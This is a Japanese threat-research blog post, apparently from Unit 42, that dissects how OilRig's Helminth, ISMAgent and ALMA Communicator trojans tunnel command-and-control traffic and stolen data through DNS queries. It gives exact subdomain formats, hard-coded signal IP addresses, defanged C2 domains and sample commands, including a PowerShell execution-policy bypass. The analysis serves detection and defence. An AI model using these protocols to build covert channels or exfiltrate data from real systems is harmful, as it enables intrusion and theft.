DNSトンネリングの現状: OilRigのDNSトンネリング概要

By

Category: Unit 42

Tags: , , , , , ,

This post is also available in: English (英語)

概要

3月15日にUnit 42はDNSトンネリング: 攻撃者はDNSをどう悪用するのかを公開しマルウェアがどのようにDNSのクエリ、DNSレスポンスを使用してコマンドと制御チャネルとして機能するのかについて説明しました。このブログを補足するため、OilRigという名で知られる攻撃グループによって使用されているDNSトンネリングを活用した一連のツールについて説明することにしました。

Unit 42は2016年初めからOilRigの脅威グループを追跡してきました。この結果、12本以上のブログをこの攻撃者によって行われた攻撃として説明してきました。私たちはこれらのブログで、OilRigがその運用に使用するさまざまなツールを網羅的に説明してきました。それらの多くは、感染したホストとそれらのCommand and Control(C2)サーバーとの間の通信で、DNSトンネリングを活用しています。DNSトンネリングが繰り返し使用されているという事実は、明らかにそれらが通信方法のひとつとして好まれていることを示しています。そのため、ここでは、さまざまなDNSトンネリングプロトコルを使用するOilRigのツール概要を公開することに決めました。これらのツールが使用するトンネリングプロトコルを分析した結果を大まかに説明すると次のようなものです。

  • DNSクエリがキャッシュされたレスポンスを返さないように、すべてのサブドメインにランダムに生成された値が含まれている
  • ほとんどの場合、最初のハンドシェイクに頼って一意のシステムID取得する
  • ほとんどの場合、データ転送の開始・停止にDNSレスポンス内のハードコードされたIPアドレスを使用する
  • データのアップロードにはC2がアップロードされたデータを正しい順序で再構築できるようにするためのシーケンス番号が含まれている
  • ツールに応じ、OilRigはトンネリングにA、AAAA、およびTXTのクエリタイプを使っている
  • すべてのDNSトンネリングプロトコルがかなりの数のDNSクエリを生成する

このブログでは、OilRigのツールであるHelminth、ISMAgent、ALMACommunicator、BONDUPDATER、QUADAGENTで使用されているDNSトンネリングプロトコルについて詳しく説明します。これらの各ツールは、DNSクエリとこれらのクエリに対するレスポンスを使用して、C2サーバーと通信します。このブログでは、クエリの構造と応答について説明するだけでなく、これらのプロトコルの動作をWiresharkのスクリーンショットで示し、トンネルがパケットキャプチャ内でどのように見えるかを示します。

ツールの概要

OilRigは、遅くとも2016年5月には、DNSトンネリングを使用して攻撃を仕掛けるトロイの木馬を配布しはじめました。2016年5月以降、この脅威グループは、さまざまなトンネリングプロトコルを使用した新しいツールを彼らのツールセットに導入してきました。図1は、私たちが確認できた範囲で、OilRigが最初に5つの各ツールとその亜種を攻撃に使用したときのタイムラインを示しています。

図1 DNSトンネリングツールを導入したOilRigのタイムライン
図1 DNSトンネリングツールを導入したOilRigのタイムライン

使用したツールに関係なく、すべてのDNSトンネリングプロトコルは、DNSクエリを使用して、特別に細工されたサブドメインを解決してC2にデータを送信し、これらのクエリに対するレスポンスを使用してC2からデータを受信します。したがって、プロトコルはDNSプロトコルを遵守しなければなりません。このため、特別に細工されたサブドメインはラベル(ピリオドで区切られたサブドメインの部分)を持ち、文字または数字で始まり、文字、数字、およびハイフンを含み、長さが63文字未満でなければなりません。また、C2ドメインと特別に細工されたサブドメインを含む、クエリ対象のドメイン全体が253文字を超えることはできません。

DNSトンネリングを介してC2と通信するために5つのツールのそれぞれで使用されるプロトコルは、さまざまな点で異なります。まず、ツールがC2に情報を送信するために使用するサブドメインの構造が異なります。次に、トロイの木馬がDNSクエリに対するレスポンスでC2から受信したデータの構造も異なります。データを伝送するために使用されるサブドメインの構造は、含まれるデータの量とデータを表すために使用されるエンコーディングの両方において劇的に異なります。サブドメイン内でデータを送信するためにこれらのツールで使用される2つのエンコード方式には、base16およびbase64エンコードデータが含まれていました。エンコード方式はツールが各クエリのサブドメインで送信できるデータ量に大きく影響します。これはbase16ではデータの各バイトを表すのに2つのASCII文字が必要で、サブドメイン内の各文字バイトで1/2バイト(0.5)分のデータを送信できることになるためです。これを、base64を使用してデータをエンコードする場合と比較してください。この場合、サブドメイン内のbase64エンコードデータの各文字は、6ビット(0.75バイト)分のデータを表すことになります。この結果から伝送スループットの観点で見ればbase64エンコードのほうがより効果的ということになります。

トロイの木馬がそのトンネル用に使用しているDNSクエリタイプは、クエリごとにC2がトロイの木馬に送信できるデータ量に大きく影響します。たとえば、DNS Aクエリを発行するツールはレスポンス内でIPv4アドレスを介してデータを送信するため、C2はクエリあたり4バイトしか送信できませんが、AAAAクエリを使用するツールはIPv6レスポンス内で16バイトを送信できます。表1に、このブログで取り上げるツールとその亜種を、1クエリあたりのC2が提供できるデータのバイト数、特別に細工されたサブドメインで使用される文字数、1クエリあたりの送信データバイト数、データの送信に使用されたエンコード形式に焦点を合わせて示します。下の表は、QUADAGENTがもっともクエリあたりのデータ送信量が多いことを示しています。というのは、QUADAGENTはサブドメイン内にbase64でエンコードされたデータを送信するために60文字分使えるので、各クエリごとに45(60 * 0.75 = 45)バイト分のデータを送信できることになるからです。また下記の表は、更新バージョンのBONDUPDATERがもっともクエリあたりのダウンロードバイト数が多いことも示しています。C2が186.75バイト分のデータを送信できるのがその理由です。C2がこれだけのデータを送信できる理由は、TXTクエリが最大255バイトのデータを提供でき、C2が6バイト分の文字シーケンス番号に続きbase64でエンコードされたデータ186.75バイト((255-6)*0.75=186.75)を送信できるためです。この部分については後述します。

ツール クエリあたりの受信バイト数 クエリごとのデータ用文字 クエリあたりの送信バイト数 サブドメインのデータエンコード
Helminth 4 48 24 Base16
ISMAGENT 16 13 9.75 Base64
ALMA

Communicator

Dash 4 20 10 Base16
Dot 4 60 30
BONDUPDATER オリジナル 3 50 25 Base16
更新版 186.75 60 30
QUADAGENT 16 60 45 Base64

表1DNSトンネリングを使用するOilRigツールのスループットとエンコード

ツール間で見られるもう1つの違いは、データ送受信に使用されるDNSクエリの種類です。各ツールはDNS A、AAAA、またはTXTクエリを使用します。最後に、このトロイの木馬がどのようにDNSクエリを発行するかも異なります。ツールによっては、組み込みのnslookupアプリケーション、UdpClientクラス内のメソッド、DNSクラスのメソッドGetHostByNameやGetHostAddresses、Dnsapiライブラリ内のDnsQuery API関数などを使ってDNSクエリが発行されることもあります。 表2には、このブログで取り上げた5つのツールが含まれています。これらのツールは、トンネリングプロトコルに使用されるいくつかの異なるDNSクエリタイプと、DNSリクエストを発行するためにツールによって使用されるさまざまな機能を示しています。また、C2ドメインの列のサンプルは、関連ツールのC2サーバーをホストするためにかつてOilRigが使用していたドメイン名を示しています。

ツール DNSの種類 DNSクエリメソッド C2ドメインのサンプル
Helminth A [System.Net.DNS]::GetHostByName go0gie[.]com
ISMAgent AAAA DnsQuery_A ntpupdateserver[.]com
ALMACommunicator A DnsQuery_W prosalar[.]com
BONDUPDATER A, TXT [System.Net.Dns]::GetHostAddresses, System.Net.Sockets.UdpClient poison-frog[.]club, withyourface[.]com
QUADAGENT AAAA nslookup.exe, Resolve-DnsName acrobatverify[.]com

表2C2にDNSトンネリングを使用するOilRigのツールで使用されるDNSの種類とクエリメソッド

この後のセクションでは、OilRigの各ツールによって使用されるDNSトンネリングプロトコルの詳細な分析を提供します。

Helminth

OilRig攻撃グループは攻撃過程でこのトロイの木馬を積極的に開発していたため、Helminthにはいくつかの亜種があります。Helminth トロイの木馬は、PE版とPowerShell版の2形式で提供されていました。どちらも開発過程でDNSトンネリングプロトコルを使うように更新されました。各亜種で使用されているDNSトンネリングプロトコルは同じように機能しましたが、開発者は生成されたサブドメインを変更して視覚的に見た目を変えて検出を回避しました。

たとえば、以下の図2、3、4は、PowerShell 版 Helminthの3つの亜種で使用されるサブドメイン生成関数を示しています。これは、同じ構造を持つサブドメインを効果的に生成しますが、最初の2文字は "00"、 "zz"、 "ww"というようにそれぞれ異なっています。HelminthのPEファイルとPowerShellの亜種は、DNSトンネリング用に異なるサブドメインを生成しますが、ここでは、視覚化が容易なので、PowerShellの亜種に焦点を当てます。

図2 サブドメインを生成するために使用されるHelminth "00" 亜種のコード

図3 サブドメインを生成するために使用されるHelminth "zz" 亜種のコード

図4 サブドメインの生成に使用されるHelminthの "ww" 亜種のコード

生成されたサブドメインの最初の文字として "00" を使用するHelminthの亜種は、このトロイの木馬の最初の亜種で、私たちはこれを2016年5月のサウジアラビアの標的への攻撃キャンペーンで利用された亜種として分析しています。DNSトンネリングの説明では、 "00"の亜種が主な焦点になりますが、上の図が示すように、 "ww"と "zz"の亜種は、サブドメインの最初の2バイトに異なる文字を使用しているだけでほかはまったく同じです。

Helminthの亜種は、C2ドメインにある特別に細工されたサブドメインを解決するDNS Type Aリクエストを使って、最終的にパースしてデータとして扱うIPv4のレスポンスを得ます。本亜種はSystem.Net.DNSクラスのGetHostByNameメソッドを使用してこれらのDNSクエリを発行します。Helminthツールはダウンロードしたデータを使用してバッチスクリプトを作成し、それを実行して結果をDNSトンネル経由でC2にアップロードします。これを実行するために、Helminthツールは最初のDNSクエリに対するレスポンス内で2つのハードコードされたIPアドレスを探します。

IPアドレス 説明
33.33.x.x スクリプトのファイル名を指定し、バッチスクリプトに保存するデータのダウンロードを開始するようトロイの木馬に指示します。
35.35.35.35 データのダウンロードを停止し、ダウンロードしたバッチスクリプトを実行するようトロイの木馬に指示します。

表3 HelminthがDNSトンネルを介したデータ転送に使用するIPv4アドレス

Helminthトロイの木馬は、C2サーバーとの対話を開始するにあたり、ビーコンとして機能する特別なサブドメインを解決するDNSクエリを発行します。C2はこのビーコンにDNSのAnwerセクションのIPv4アドレスで応答し、トロイの木馬はこのIPv4アドレスをC2から一意のシステムIDを取得するのに利用します。具体的には、IPv4の最初のオクテットの数値を文字に変換し、この文字を後に続くDNSクエリでシステムを一意に識別するために利用します。C2からシステムIDを取得するための初期ビーコンは以下の構造を持っています。

00000000<base36 encoded random number less than 46655><sequence number "30">.<c2 domain>

答えます図5は、この最初のビーコンを示しています。この最初のビーコンは、8個のゼロのハードコードされた文字列("00000000")とそれに続くbase36エンコードの乱数用の3文字、および文字 "0"を表す "30"のシーケンス番号からなります。図5は、C2サーバーがDNSリクエストへのレスポンスとして、"35.0.0.0"というIPv4アドレスを提供する様子も示しています。このIPアドレスは、35という数字がASCIIの"5"の文字を表すため、トロイの木馬に一意のシステムIDとして"5"の文字を使用するように指示します。このトロイの木馬は、後続のクエリでこのIDを使用し、この後続クエリをC2サーバーがシステムの識別に使用します。

図5 Helminthからの最初のビーコンと、一意のシステムIDで応答するC2
図5 Helminthからの最初のビーコンと、一意のシステムIDで応答するC2

次のクエリには、サブドメインの3番目の文字としてC2によって提供されたシステムIDと、それに続くbase36エンコードされた乱数、および文字 "0"を表すシーケンス番号 "30"が含まれます。このクエリの構造は次のとおりです。トロイの木馬がまだデータの受信を開始していないため、シーケンス番号"30"を再利用しています。

00<system identifier>00000<base36 encoded random number less than 46655><sequence number "30">.<c2 domain>

C2は"33.33.x.x"として構造化されたIPv4アドレスを含むレスポンスでこのクエリに応答します。この際、Helminthは"33.33.xx"の最後の2オクテット("x.x")を整数として扱い、ダウンロードしたスクリプトを保存するのに使用するバッチファイル名のための文字に変換します。Helminthは ".bat"ファイル拡張子をこれら2文字に連結してバッチスクリプトを作成し、さらにDNSクエリを発行して、この後続するDNSへのレスポンスに含まれるIPv4アドレスを、このファイルに書き込むデータとして扱います。図6は、クエリにシステムIDが含まれる様子とC2がIPv4アドレスのAnswerセクションに"33.33.97.97"を含めて応答している様子を示しています。この"33.33.97.97"のうち"97.97" を使用してHelminthは"aa.bat"という名前のファイルを作成します。97という数値は、ASCII文字で"a"に相当します。

図6 2文字のファイル名をHelminthに提供するC2
図6 2文字のファイル名をHelminthに提供するC2

C2からデータをダウンロードするために、Helminthは次の構造を持つDNSクエリを発行します。これは、ファイル名を取得するために使用された以前のクエリと似ていますが、これらのリクエストにはハードコードされた文字列 "232A"とその後に続く2文字分の16進表現が含まれており、これがファイル名として使用されます。

00<system identifier>00000<base 36 encoded random number less than 46655>232A<hexlified characters for filename><sequence number>.<c2 domain>

C2サーバーは、IPv4アドレスの提供を開始し、トロイの木馬はそのIPv4アドレスの各オクテットをバイナリデータの10進表現として扱います。このトロイの木馬は、C2がDNSのレスポンスとして"35.35.35[.]35"というIPv4アドレスを提供するまで各バイトをバッチファイルに書き込み続けます。そして"35.35.35[.]35"というレスポンスを受け取ると、トロイの木馬はファイルへのデータの書き込みを停止し、バッチスクリプトとしてこのファイルを実行します。

図7は、ファイル"aa.bat"を作成するようにトロイの木馬に指示する"33.33.97[.]97"というIPv4アドレスを提供するC2サーバーを示しています。次のスクリーンショットは、トロイの木馬がシーケンス番号を増加させて(1、2、3の場合は"31"、"32"、"33")DNSクエリを発行し、それに対しC2が2つのIPv4アドレスで応答して、データを送信している様子を示しています。ここでは"119.104.111[.]97"と"109.105.32[.]32"というデータを送信することで文字列 "whoami"を送信し、その後に続けて "35.35.35[.]35"というアドレスを送信してデータ送信を終了しています。

図7データ転送を停止するためにIPv4 35.35.35[.]35を受信するまで、C2サーバーからのデータを要求するHelminth
図7データ転送を停止するためにIPv4 35.35.35[.]35を受信するまで、C2サーバーからのデータを要求するHelminth
"35.35.35[.]35"というアドレスを受け取ると、Helminthはダウンロードしたバッチスクリプトを実行し、そのスクリプトの出力をバッチスクリプトと同じ2文字の名前のテキストファイルに保存します。たとえば、上記の例では、トロイの木馬は "aa.bat"スクリプトの出力を "aa.txt"に保存します。このトロイの木馬は、次の構造を持つ一連のDNSクエリを介してこのテキストファイルの内容をC2サーバにアップロードします。

00<system identifier><characters for filename><sequence number><base 36 encoded random number less than 46655><up to 48 characters for a maximum of 24-bytes of hexlified data>.<c2 domain>

このトロイの木馬はテキストファイルの内容を24バイトのチャンクに分割し、各バイトをその16進表現に変換します。Helminthはサブドメイン内のこれらのバイトの16進表現を含め、データをC2サーバに送信するためにDNSクエリを発行します。このトロイの木馬は、24バイトのチャンクすべてがC2に送信されるまでこのプロセスを続けます。各クエリには、増加するシーケンス番号が含まれます。Helminthは、これらのクエリへのC2サーバからののレスポンスに対しては何もしません。これはDNSサーバ側からなんらかのレスポンスが返ってきさえすればよいためです。図8は、Helminthトロイの木馬がバッチスクリプト("whoami"コマンド)の結果を含むテキストファイルの内容をC2サーバーにアップロードして、5つの一連のDNSクエリを実行している様子を示しています。

図8 Helminthがクエリ対象のサブドメインにコマンドの結果を含めて送信しているところ
図8 Helminthがクエリ対象のサブドメインにコマンドの結果を含めて送信しているところ

ISMAgent

OilRigはISMAgentツールを標的型攻撃に使用してきました。そのうちの1つについてはOilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group(英語)で論じています。このツールがOilRigによって使用されていることが分かったのは興味深いことです。というのも、ISMAgentは、Greenbugという別の攻撃グループにリンクされているISMDoorという別のツールと非常によく似たDNSトンネリングプロトコルを使用しているからです。ISMDoorのトンネリングプロトコルについてはこちらですでに説明済みなので、ここではISMAgentのDNSトンネリングプロトコルに焦点を絞って説明します。

ISMAgentはDnsQuery_A API関数を使ってDNS AAAAリクエストを発行します。これにより、攻撃者が所有するドメインのカスタム細工されたサブドメインを解決し、OilRigとのデータ送信、コマンド受信を行っています。このトロイの木馬は、CoCreateGuid API関数を呼び出して生成された一意のセッションIDを含むビーコンを発行し、そこからハイフンを削除した結果のGUIDを使用してデータ転送を開始します。次に、ISMAgentは、サブドメイン内で以下の構造をもつこのセッションIDで名前解決を試みます。

n.n.c.<GUID used for session ID>.<c2 domain>

ISMAgentはAAAAクエリを実行してドメインを解決します。これにより、C2にデータを送信しようとしていることが事実上通知されます。C2が動作していれば、C2は「ビーコンを受信し、ISMAgentが送信しようとしているデータを処理する準備ができた」と伝えるために、IPv6アドレス 'a67d:0db8:a2a1:7334:7654:4325:0370:2aa3'でこのビーコンに応答します。このトロイの木馬は、C2サーバーからIPv6の確認応答を受け取った後、次の構造を持つ文字列を作成します。

http://<IP of C2 domain>/action2/<base64 encoded computername\username>||

ISMAgentは上記の文字列をbase64エンコードし("="、 "/"、 "+"をそれぞれ"-"、 "-s-"、 "-p-"に変換)、エンコードしたデータを以下の構造を持つドメインを解決する一連のDNSクエリとしてC2に連続して送信します。

<up to 13 characters of base64 encoded data>.<iterating sequence number>.d.<GUID used for session ID>.<c2 domain>

C2は、ハードコードされた"a67d:0db8:85a3:4325:7654:8a2a:0370:7334" で応答し、データを受信したことをトロイの木馬に伝え、データの送信を続けるよう指示します。すべてのデータをC2サーバーに送信し終わると、ISMAgentは次の構造を持つドメインを解決するためのクエリを発行して、データの送信が完了したことをC2サーバーに通知します。

n.<number of queries issued to send data>.f.<GUID used for session ID>.<c2 domain>

図9は、ISMAgentビーコンと後につづくトロイの木馬によるC2サーバーへのデータ送信の様子をWireshark上で表示したものです。図9はまた、C2がクエリに対するレスポンスとして、特定のIPv6アドレスを使う様子も示しています。この特定のIPv6アドレスはACKの意味で使用されるもので、トロイの木馬にデータの送信を継続するように指示しています。最後に、次のスクリーンショットは、最後のDNSクエリに答えるために使用される3番目のIPv6を示しています。トロイの木馬はC2からデータをダウンロードするために発行すべきDNSリクエスト数をこのIPv6から判断しています。

図9 ISMAgentは最初のビーコンの後、続けてサブドメイン内でシステムデータ"action2"を送信している
図9 ISMAgentは最初のビーコンの後、続けてサブドメイン内でシステムデータ"action2"を送信している

図9は、ISMAgentがデータ転送の完了を示すために発行したクエリに対するレスポンスとして、IPv6アドレスを提供するC2サーバーの様子を示しています。ISMAgentはこのIPv6を解析して"a67d:0db8:85a3:4325:7654"で始まることを確認し、最後の2つの16進数を、C2サーバーからデータをダウンロードするために発行する必要があるDNSクエリ数として使用します。このトロイの木馬は、次の構造を持つドメインを解決するためのクエリを発行し、レスポンスに含まれるIPv6アドレスをデータとして扱います。

www.<sequence number [0:count from C2 server-1]>.r.<GUID used for session ID>.<c2 domain>

図10は、"a67d:0db8:85a3:4325:7654" で始まり11で終わるIPv6アドレスを持つクエリに応答するC2サーバーを示しています。ここでは、ISMAgentに11回DNSクエリを発行してデータをダウンロードするように指示しています。次のスクリーンショットは、ISMAgentが11回DNSリクエストを発行し、C2サーバーが次のように構成されたデータで応答する様子を示しています。

<GUID used as a unique system identifier>#command#<URL to download a file>#<command to run with cmd.exe>#<file to upload to c2>#

図10では、C2がIPv6アドレスを提供して以下のデータをISMAgentトロイの木馬に送信しています。これによりPowerShellスクリプトが実行され、ファイル "C:\Users\Public\file.txt"にテキストが書き込まれます。

2983b983-0acd-42db-9d86-0b096af5f369#command##powershell.exe -executionpolicy bypass \"$s = 'Text written to file.txt';$s | set-content 'c:\\Users\\Public\\file.txt'\"#

図10 ISMAgentはC2からIPv6内のAnswerセクション内のデータをダウンロードし、それをコマンドとして扱う
図10 ISMAgentはC2からIPv6内のAnswerセクション内のデータをダウンロードし、それをコマンドとして扱う

ISMAgentによって送信される次のビーコンは、最初のビーコンと同じプロセスに従います。つまり、"n.n.c" を解決するためのクエリの後にサブドメイン内にbase64エンコードされたデータをもつデータ転送要求が続き、最後に"n.<requests sent>.f"クエリが続きます。ここで転送されるデータは、前のビーコンでC2によって提供されたGUIDを含んでいる点、URLに"action2"ではなく"response"という単語が含まれている点が最初のビーコンとは異なります。C2に送信されるデータは次のような構造になっています。この"response"という単語は、C2に対し、前回のGUID送信への応答であることを通知しています。

http://<IP of c2 domain>/response/<base64 encoded computername\username>/<GUID provided by C2 as a unique system identifier>||

図11は、ISMAgentがこのデータをC2サーバーに送信するために発行するDNSリクエストを示しています。サブドメイン"n.12.f."を解決するためのクエリからも分かるように、ISMAgentはDNSトンネルを介してC2サーバーにエンコードされたデータを送信するために12回クエリを送信しています。

図11 クエリ対象のサブドメイン内でデータ"response" をC2サーバーに送信するISMAgent
図11 クエリ対象のサブドメイン内でデータ"response" をC2サーバーに送信するISMAgent

ISMAgentがシステムからデータを抽出する方法を示すために、C2サーバーからのものとして私たちは次のコマンドを発行しました。

2983b983-0acd-42db-9d86-0b096af5f369#command###C:\\Users\\Public\\file.txt

C2は図12に示した5つのクエリへのレスポンスとして提供されるIPv6アドレス中にこのコマンドを含めて発行しています。このコマンドはISMAgentに "C:\Users\Public\file.txt"ファイルを読み取ってその内容をC2サーバーにアップロードするように指示します。ここで思い出していただきたいのですが、先の図11では、C2サーバーが発行した初期コマンドにより、PowerShellスクリプトが実行され、その結果、"Text written to file.txt"の文字列がこのファイルに書き込まれていました。

図12 IPv6アドレス内のC2からデータをダウンロードするISMAgent
図12 IPv6アドレス内のC2からデータをダウンロードするISMAgent

ISMAgentはファイルを読み取り、その内容を前と同じ一連のDNSクエリを介してC2サーバーに送信します。以下は、アップロードされたデータの構造を示しています。これは、以前の転送データと似ていますが異なる部分があります。具体的には、URLに文字列 "upload"が含まれている点と、二重パイプ("||")文字の後に続くアップロードされたファイルの内容が異なっています。

http://<IP of c2 domain>/upload/<base64 encoded computername\username>/<GUID provided by C2 as a unique system identifier>||<contents of file uploaded>

図13はISMAgentが15回のDNSクエリを使い、以下のようにデータをエンコードして送信することで、C2に"file.txt"ファイルの内容をアップロードする様子を示しています。

http://172.16.107[.]128/upload/V0lOLURQUUNPTkJMMU44XFJpY2sgRW5nbGlzaA%3d%3d/2983b983-0acd-42db-9d86-0b096af5f369||Text written to file.txt\r\n

図13 ISMAgentがクエリ対象のサブドメインを介してデータをC2にアップロードする様子
図13 ISMAgentがクエリ対象のサブドメインを介してデータをC2にアップロードする様子

ALMA Communicator

OilRigを追跡していくなかで、この脅威グループがALMA communicatorと呼ばれるツールの2種類の亜種をペイロードとして配信していることを確認しました。これら2つの亜種は、C2チャネルとしてDNSトンネリングを使用しますが、それぞれの生成するドメイン構造はかなり異なっているため、別々に説明することにします。

ALMA dash

ALMAの亜種のひとつ ALMA dashは、私たちが発見した最初のALMA Communicatorの亜種で、Unit 42ブログOilRig Deploys "ALMA Communicator" – DNS Tunneling Trojan (英語)というタイトルのブログでも中心的に取り上げたものです。OilRigで使用されている他のツールと同様に、ALMAは "Download"と "Upload"という2つの別々のフォルダを使用し、前者にC2から受信したファイルを保存し、後者にC2に漏出させるファイルを保存します。ALMA dash というツールは、カスタムDNSトンネリングプロトコルを使用して、C2サーバーから提供されるファイルをダウンロードし、それらのファイルを"Download"フォルダに保存します。ALMA dashは、"Upload"という名前の2つ目のフォルダの内容を定期的にチェックし、このフォルダ内の各ファイルの内容を漏出させるためにカスタムDNSトンネリングプロトコルを使用します。

ALMA dashのカスタムDNSトンネリングプロトコルは、DNS Aレコードクエリを利用し、攻撃者が制御するC2ドメインのカスタム細工されたサブドメイン名を解決します。ALMA dash はサブドメインを構築し、DnsQuery_W関数を使用してこれらのDNSクエリを発行します。OilRigはこれらのクエリに対するAnwerセクションのIPv4アドレスを介してデータを送信します。ALMAはそれを "Download"フォルダに保存し、CreateProcessA関数を使って"cmd /c <downloaded file>"というコマンドラインを実行します。このコマンドの結果は、"Upload"フォルダ内のファイルに保存され、ALMAはそのファイルをC2サーバーに漏出させます。

ALMA dash は、ユーザー名とWindowsのプロダクトキーを集め、それら2つの文字列の間をアンダースコア("_")でつなぎ合わせることでシステムごとに一意のIDを生成します。このトロイの木馬は、GetUserNameA関数を介してユーザ名を取得し、レジストリ、具体的にはキー SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductIdを問い合わせることによってWindowsのプロダクトIDを収集します。ALMAはこの文字列のMD5ハッシュを生成し、このMD5ハッシュの特定のオフセット位置(オフセット位置は1、5、9、13、17、21、25、29)にある文字を使用して、8文字の文字列を作成し、それをシステムの一意のIDとして利用します。

一意のIDが作成されると、ALMA dashは、DNSクエリを使用してC2サーバーにビーコンを送信し、攻撃者が制御するC2ドメインのカスタム細工されたサブドメイン名を解決することでC2サーバーとの通信を開始します。ALMAはこれらのビーコンを発行することで、C2にデータをダウンロードしようとしていることを通知しています。

[random number between 1-9998]ID[unique identifier from MD5 hash of system information][sequence number]-0-2D-2D.[C2 domain]

図14はALMA dashからC2サーバーに送信された最初のビーコンを示しています。このビーコンには乱数"6813"、一意なIDである"8faa2150"、シーケンス番号の"0"、ハードコードされた"-0-2D-2D"という文字列が含まれています。

図14 ALMA CommunicatorによるC2への最初のビーコン
図14 ALMA CommunicatorによるC2への最初のビーコン

C2ドメインの権威DNSサーバーは、クエリに対するレスポンスのAnswerセクション内のIPv4にデータを含めてALMA dashに送信します。DNSサーバは、レスポンス内でハードコードされたIPv4アドレス"36.37.94[.]33 ($%^!)"を使用して、今後のレスポンスに含まれるすべてのIPv4アドレスをデータとして扱うようにトロイの木馬に指示します。データストリーム全体を取得するために、ALMA dashは上記の形式でサブドメイン名を解決するクエリを発行し続けます。ただしキャッシュを避けるため、クエリごとに新しい乱数が生成されます。ALMA dashは、"33.33.94[.]94 (!!^^)"のIPv4アドレスを受信するまでクエリを送信し続けます。これは、C2サーバーがデータの送信を終了したときに送信されます。図15は、"36.37.94[.]33"のIPv4アドレスでALMAビーコンに応答し、トロイの木馬にデータとして後続のIPv4の処理を開始するように指示するC2サーバーを示しています。

図15 C2サーバーがAnswerセクションのIPv4データでALMAのビーコンに応答している
図15 C2サーバーがAnswerセクションのIPv4データでALMAのビーコンに応答している

このトロイの木馬は、C2サーバーが"33.33.94[.]94"のアドレスで応答するまで、DNSクエリのAnswerセクション内のIPv4アドレスをデータとして扱います。図16は、IPv4アドレス形式でデータを配信し、最後にデータ転送終了を示す"33.33.94[.]94"アドレスを送信しているC2サーバーの様子を示しています。

図16 ALMAは33.33.94[.]94の IPv4アドレスを受信するまでC2からデータをダウンロードするためのクエリを発行し続ける
図16 ALMAは33.33.94[.]94の IPv4アドレスを受信するまでC2からデータをダウンロードするためのクエリを発行し続ける
システムからC2サーバーにデータを漏出さるために、ALMA dash は"Uploads"フォルダ内のファイルの内容を読み取り、一連のDNSクエリを介してそれらの内容をC2に送信します。一連のDNSクエリは最初のビーコンと似た構造を持っていて、乱数、文字列 "ID"、トロイの木馬が収集したシステム情報のMD5ハッシュから生成する一意のIDで始まっています。違いはハードコードされた文字列"0-2D-2D"を含んでいることです。これはすでに使用されていませんが、次のように置き換えることができます。

0 - トロイの木馬がデータ全体を送信する目的でリクエストする予定のDNSクエリ数を含んでいます。

2D - 漏出対象のファイルからの10バイト分のデータを16進形式で表した20文字以下の文字列がここに含まれます。

2D - 漏出されるファイルのファイル名を16進形式で表した文字列の最初の8バイト分を表す16文字以下の文字列がここに含まれます。

データ漏出用のクエリは結果的に次のような構造を持ちます。

[random number between 1-9998]ID[unique identifier from MD5 hash of system information]-[number of requests needed to transfer data]-[20 characters or less for hexlified data]-[16 characters or less for hexlified filename].[c2 domain]

図17と図18は、DNSトンネルを介してデータを漏出させるALMAコミュニケータを示しています。次の2つのスクリーンショットは、トロイの木馬が"29"という数字を送信している様子を示しています。これは、すべてのデータを送信するために発行することになるDNSクエリの総数を表しています。文字列 "5F446E73496E6974"が各サブドメインに表示されていますが、その理由はこれが、C2サーバーによって送信され、トロイの木馬によって実行されるバッチスクリプトのファイル名"_DnsInit"の16進表現だからです。次の2枚のスクリーンショットは、C2サーバーにデータを送信するさい、固有ID"8faa2150"の後ろに"1"から始まり"29"まで増分するシーケンス番号が続く様子を示しています。

図17 ALMAがクエリ対象サブドメイン内でのC2へのデータ漏出を始めたところ
図17 ALMAがクエリ対象サブドメイン内でのC2へのデータ漏出を始めたところ
図18 ALMAがクエリ対象サブドメイン内でのC2へのデータ漏出を終了しているところ
図18 ALMAがクエリ対象サブドメイン内でのC2へのデータ漏出を終了しているところ

ALMA dot

ALMAの亜種 ALMA dotは、ALMA dashと非常によく似ています。ただし、C2サーバに送信される情報とDNSトンネリングプロトコル内のデータの特定のフォーマットは異なります。ALMA dashが収集したユーザー名とProductIdに加えて、ALMA dotも"\\.\PhysicalDrive"のシリアル番号とコンピューター名を収集し、アンダースコア("_")でシステム情報を連結してフィールドを分割します。dashと同様にdotも収集された情報のMD5ハッシュを生成して一意のIDとして使用しますが、ハッシュを短くすることはせず、全体を使用します。C2への最初のビーコンはdashとはわずかに異なる構造になっていて、これが根本的に異なるサブドメインをもたらします。具体的には以下のフォーマットを持ちます。

[random number between 1-9999999].[MD5 hash for unique identifier].[sequence number].0.2D.2D.[c2 domain]

図19は、乱数、IDとして使用される生成されたシステム固有データのMD5ハッシュ、0のシーケンス番号を含む、ALMA dotに生成されたビーコンを示しています。

図19 ALMA dotによって生成されたビーコン
図19 ALMA dotによって生成されたビーコン

C2からデータを受信するために、このトロイの木馬はDNSクエリに対するレスポンスのAnswerセクションにあるIPv4アドレスを処理します。ALMA dash同様、ALMA dotもデータ送信の開始と終了を示すために次の2つのIPアドレスを使用します。

Start – 36.37.94.33 ($%^!)
End – 33.33.94.94 (!!^^)

図20は、C2サーバーからダウンロードされるデータの先頭をマークするために"36.37.94[.]33"という同じIPv4アドレスを使用しているALMA dotを示しています。ここでもALMA dashで説明したものと同じバッチスクリプト"_DnsInit.bat"がダウンロードされます。

図20 DNSトンネルを使用してC2サーバーからバッチスクリプトをダウンロードするALMA dot
図20 DNSトンネルを使用してC2サーバーからバッチスクリプトをダウンロードするALMA dot

DNSトンネルを介してデータを漏出するさい、ALMA dotはALMA dashとは似ているけれども異なった構造を使います。これによりALMA dotはALMA dashとの比較でリクエストごとに3倍のデータ量を送信できます。次の構造は、ALMA dotが60文字分の16進データ(30バイト)と、データの漏出元となったファイル名を表す60文字分の16進データ(30バイト)を漏出する様子を示しています。

[random number between 1-9999999](IDID|idid)[MD5 hash for unique identifier].[sequence number].[total count in sequence].[60 or less characters for hexlified data].[60 or less characters for hexlified filename].[c2 domain]

図21は、前の図で示したC2サーバーによりダウンロードされたバッチスクリプトの結果を漏出中のALMA dotを示しています。この図は、8に達するまで各クエリごとに1ずつ増加するシーケンス番号を含むクエリを示しています。これはサブドメイン内のフィールドの値で、シーケンス内のクエリの総数を表しています。次のフィールドには、トロイの木馬がC2に送信している30バイトの16進数データを表す60文字が含まれています。サブドメインの最後のフィールドは、C2サーバーからダウンロードされた "_DnsInit.bat"スクリプトの結果を格納したファイルである "_DnsInit.txt"にデコードされる16進文字列 "5F446E73496E69742E747874"です。

